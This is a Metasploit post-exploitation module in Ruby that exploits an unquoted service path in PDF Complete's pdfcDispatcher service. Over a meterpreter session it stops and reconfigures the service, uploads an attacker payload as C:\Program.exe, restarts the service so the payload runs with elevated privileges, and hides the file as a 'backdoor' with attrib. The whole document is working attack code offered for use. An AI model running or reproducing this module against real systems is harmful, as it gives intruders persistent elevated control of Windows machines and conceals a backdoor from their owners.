|
require 'rex'
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
class MetasploitModule < Msf::Post
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::Windows::Priv
def initialize(info={})
super(update_info(info,
'Name' => 'PDF complete - Unquoted Service Path Privilege Escalation',
'Description' => %q{
This post-exploitation module requires a meterpreter session to be able to upload/inject our Program.exe into pdfcDispatcher service. PDF Complete Corporate Edition installs a service with an unquoted service path. This enables a local privilege escalation vulnerability. To exploit this vulnerability, a local attacker can insert an executable file in the path of the service. Rebooting the system or restarting the service will run the malicious executable with elevated privileges. "Warning: payload to be uploaded should be named as: Program.exe"
},
'License' => UNKNOWN_LICENSE,
'Author' =>
[
'Vuln discover: Joey Lane',
'Module Author: pedr0 Ubuntu [r00t-3xp10it]',
'Special thanks: milton_barra|Chaitanya Haritash',
],
'Version' => '$Revision: 1.1',
'DisclosureDate' => 'out 27 2016',
'Platform' => 'windows',
'Arch' => 'x86_x64',
'Privileged' => 'false',
'Targets' =>
[
[ 'Windows XP', 'Windows VISTA', 'Windows 7', 'Windows 8', 'Windows 9', 'Windows 10' ]
],
'DefaultTarget' => '3',
'References' =>
[
[ 'URL', 'goo.gl/Etf934' ],
[ 'URL', 'goo.gl/U54297' ],
],
'DefaultOptions' =>
{
'SESSION' => '1',
},
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('SESSION', [ true, 'The session number to run this module on']),
OptString.new('UPLOAD_PATH', [ false, 'The full path of Program.exe to be uploaded']),
OptBool.new('SERVICE_STATUS', [ false, 'Check remote pdfcDispatcher service settings?' , false]),
OptBool.new('HIDDEN_ATTRIB', [ false, 'Use Attrib command to Hide Program.exe?' , false])
], self.class)
end
def unsupported
session = client
sys = session.sys.config.sysinfo
print_warning("[ABORT]: Operative System => #{sys['OS']}")
print_error("Only windows systems are supported by this module...")
print_error("Please execute [info] for further information...")
print_line("")
raise Rex::Script::Completed
end
def ls_stage1
r=''
session = client
upath = datastore['UPLOAD_PATH']
bin_path = "C:\\Program Files (x86)\\PDF Complete\\pdfsvc.exe"
if datastore['UPLOAD_PATH'] == 'nil'
print_error("Options not configurated correctly...")
print_warning("Please set UPLOAD_PATH option...")
return nil
else
print_status("Persisting your payload in target system.")
client.sys.config.getprivs.each do |priv|
end
end
if client.fs.file.exist?("#{bin_path}")
print_warning("pdfcDispatcher service:found...")
sleep(1.0)
print_good("Stoping pdfcDispatcher service...")
r = session.sys.process.execute("cmd.exe /c sc stop pdfcDispatcher", nil, {'Hidden' => true, 'Channelized' => true})
sleep(2.0)
print_good("Setting service to auto-start with windows...")
r = session.sys.process.execute("cmd.exe /c sc config pdfcDispatcher start= auto", nil, {'Hidden' => true, 'Channelized' => true})
sleep(2.0)
print_good("Uploading payload to target system...")
client.fs.file.upload("%temp%\\Program.exe","#{upath}")
sleep(2.0)
print_good("move payload to C: directory...")
r = session.sys.process.execute("cmd.exe /c move /y %temp%\\Program.exe C:\\Program.exe", nil, {'Hidden' => true, 'Channelized' => true})
sleep(2.0)
print_good("Restarting pdfcDispatcher service...")
r = session.sys.process.execute("cmd.exe /c sc start pdfcDispatcher", nil, {'Hidden' => true, 'Channelized' => true})
sleep(2.0)
print_warning("pdfcDispatcher service [binary_path_name] backdoored successefuly...")
print_status("Setup one handler and Wait everytime that system restarts OR")
print_status("Setup one handler and restart pdfcDispatcher service: sc start pdfcDispatcher")
print_line("")
else
print_error("#{bin_path} => NOT FOUND...")
print_warning("post-module has aborted all tasks in hands :( ...")
print_line("")
end
r.channel.close
r.close
rescue ::Exception => e
print_error("Error: #{e.class} #{e}")
end
def ls_stage2
r=''
session = client
hidden = "C:\\Program.exe"
if datastore['HIDDEN_ATTRIB'] == 'nil'
print_error("Options not configurated correctly...")
print_warning("Please set HIDDEN_ATTRIB option...")
return nil
else
print_status("Using Attrib command to hide Program.exe...")
client.sys.config.getprivs.each do |priv|
end
end
if client.fs.file.exist?("#{hidden}")
print_status("Backdoor Program.exe file:found...")
r = session.sys.process.execute("cmd.exe /c attrib +h +s C:\\Program.exe", nil, {'Hidden' => true, 'Channelized' => true})
print_good(" Execute => attrib +h +s C:\\Program.exe")
sleep(2.0)
print_status("Our Program.exe its hidden from normal people...")
print_status("But dont feed the black hacker within :( ...")
print_warning("To revert attributes: attrib -h -s C:\\Program.exe")
print_line("")
r.channel.close
r.close
else
print_error("#{hidden} => NOT FOUND...")
print_warning("post-module has aborted all tasks in hands :( ...")
print_line("")
end
rescue ::Exception => e
print_error("Error: #{e.class} #{e}")
end
def ls_stage3
r=''
serv="pdfcDispatcher"
session = client
sysnfo = session.sys.config.sysinfo
if datastore['SERVICE_STATUS'] == 'nil'
print_error("Options not configurated correctly...")
print_warning("Please set SERVICE_STATUS option...")
return nil
else
print_status("Checking pdfcDispatcher service settings...")
client.sys.config.getprivs.each do |priv|
end
end
print_warning("Reading service hive registry keys...")
if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher", "Start") == '2'
startup = "auto_start"
end
if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher", "Start") == '3'
startup = "manual_start"
end
if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\pdfcDispatcher", "Start") == '4'
startup = "disabled_start"
else
startup = "unknow"
print_error("post-module cant define service auto_start status...")
print_warning("enter into a shell session and execute: sc qc pdfcDispatcher status")
end
sleep(1.0)
print_line("")
print_line(" :host => #{sysnfo['Computer']}")
print_line(" :service => #{serv}")
print_line(" :status => running")
print_line(" :startup => #{startup}")
print_line("")
rescue ::Exception => e
print_error("Error: #{e.class} #{e}")
end
def run
session = client
unsupported if client.platform !~ /win32|win64/i
sysnfo = session.sys.config.sysinfo
runtor = client.sys.config.getuid
runsession = client.session_host
directory = client.fs.dir.pwd
print_line(" +----------------------------------------------+")
print_line(" | PRIVILEGE ESCALATION IN PDFDISPACHER SERVICE |")
print_line(" | Author: Pedro Ubuntu [ r00t-3xp10it ] |")
print_line(" +----------------------------------------------+")
print_line("")
print_line(" Running on session : #{datastore['SESSION']}")
print_line(" Computer : #{sysnfo['Computer']}")
print_line(" Operative System : #{sysnfo['OS']}")
print_line(" Target IP addr : #{runsession}")
print_line(" Payload directory : #{directory}")
print_line(" Client UID : #{runtor}")
print_line("")
print_line("")
if datastore['UPLOAD_PATH']
ls_stage1
end
if datastore['HIDDEN_ATTRIB']
ls_stage2
end
if datastore['SERVICE_STATUS']
ls_stage3
end
end
end
|